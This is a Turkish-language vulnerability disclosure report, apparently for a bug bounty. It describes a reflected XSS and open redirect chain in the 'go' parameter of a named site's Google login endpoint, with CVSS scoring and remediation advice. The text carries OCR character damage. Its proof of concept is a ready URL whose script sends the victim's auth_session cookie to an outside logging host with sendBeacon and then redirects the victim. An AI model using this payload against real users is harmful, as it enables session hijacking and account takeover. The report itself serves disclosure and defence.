Reflected XSS Leading to Session Hijacking
via Open Redirect Chain on Authentication
Endpoint

Ozet

Authentication endpoint iizerinde bulunan Reflected XSS zafiyeti, kontrolsiiz redirect parametresi
ile birlestiginde saldirganin kullanici baglaminda keyfi JavaScript ¢alistirmasina ve session
bilgilerinin ele gecirilmesine yol acabilecek kritik bir attack chain olugturmaktadir.

Zafiyet, kullaniciy1 giivenilir goriinen bir login URL {izerinden tetiklenebilen diisiik etkilesimli bir
attack scenario ile istismar edilebilir. Authentication cookie’nin HttpOnly flag ile korunmamasi
nedeniyle risk seviyesi 6nemli 6l¢lide artmaktadir.

Etkilenen Endpoint
https://auth.topluyo.com/!login/google/

Zafiyetli Parametre
go

Zafiyet Tirti
* Reflected Cross-Site Scripting (XSS)

* Open Redirect Abuse
* Session Hijacking Risk

Teknik Detaylar

go parametresi kullanici girdisini uygun output encoding uygulanmadan HTML icerisine
yansitmaktadir. Bu durum saldirganin authentication domain context’inde keyfi JavaScript
execution gerceklestirmesine olanak tanimaktadir.

Ayni parametre ayni zamanda redirect mekanizmasi olarak kullanildigi icin saldirgan script
execution sonrasi kullaniciy1 farkh bir sayfaya yonlendirebilmektedir.

Bu davramis phishing ve data exfiltration saldirilar i¢in uygun bir zemin olusturmaktadir.




(Proof of Concept)

Asagidaki URL acildiginda JavaScript execution gerceklesmektedir:
https://auth.topluyo.com/!login/google/?go=<script>
navigator.sendBeacon( "https://sibergkt.com/kaydet/log.php",

document.cookie.split("auth_session=")[1]?.split(";")[0] ); window.location =
"https://topluyo.com" </script>

Script execution sonrasi kullanic1 fark etmeden bagka bir sayfaya redirect edilmektedir.

Saldir1 Vektoru

1. Saldirgan zararl bir login link olusturur
. Kurban kullanic linke tiklar

. Zararh JavaScript authentication domain context’inde execute edilir

2
3
4. Session bilgilerine erisim miimkiin hale gelir
5. Kullanici bagka bir sayfaya redirect edilir

6

. Saldirgan session’1 yeniden kullanabilir

Etki

Bu zafiyet asagidaki risklere yol agabilir:
* Session hijacking
* Account takeover
* Authentication bypass senaryolari
* Credential phishing
* User impersonation
* Malicious redirect
* Sensitive data exposure

Authentication cookie’nin HttpOnly flag ile korunmamasi nedeniyle JavaScript erisimi miimkiin
olup risk seviyesi artmaktadir.

Risk Degerlendirmesi
High

CVSS v3.1 Vector
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N



CVSS Score

8.8

Kok Neden

Input validation eksikligi
Output encoding uygulanmamasi
Redirect parametresinin allowlist ile kontrol edilmemesi

Authentication cookie security flag eksikligi

Diizeltme Onerileri

Kullanic1 girdisi HTML context’e basilmadan énce uygun encoding uygulanmali
Redirect parametreleri icin strict allowlist kullanilmal

Authentication cookie’lere HttpOnly flag eklenmeli

Secure flag uygulanmal

Content Security Policy (CSP) uygulanmal

Input validation mekanizmalar giiglendirilmeli

Giivenlik En Iyi Uygulamalar

Authentication domain {izerinde calisan tiim parametreler yiiksek riskli kabul edilmeli ve strict
validation uygulanmalidir.

Sonug

Authentication endpoint iizerinde bulunan Reflected XSS zafiyeti, Open Redirect davranisi ve
giivenli olmayan cookie yapilandirmasi ile birlestiginde gercek diinyada account takeover ile
sonuglanabilecek ciddi bir security riski olusturmaktadir.
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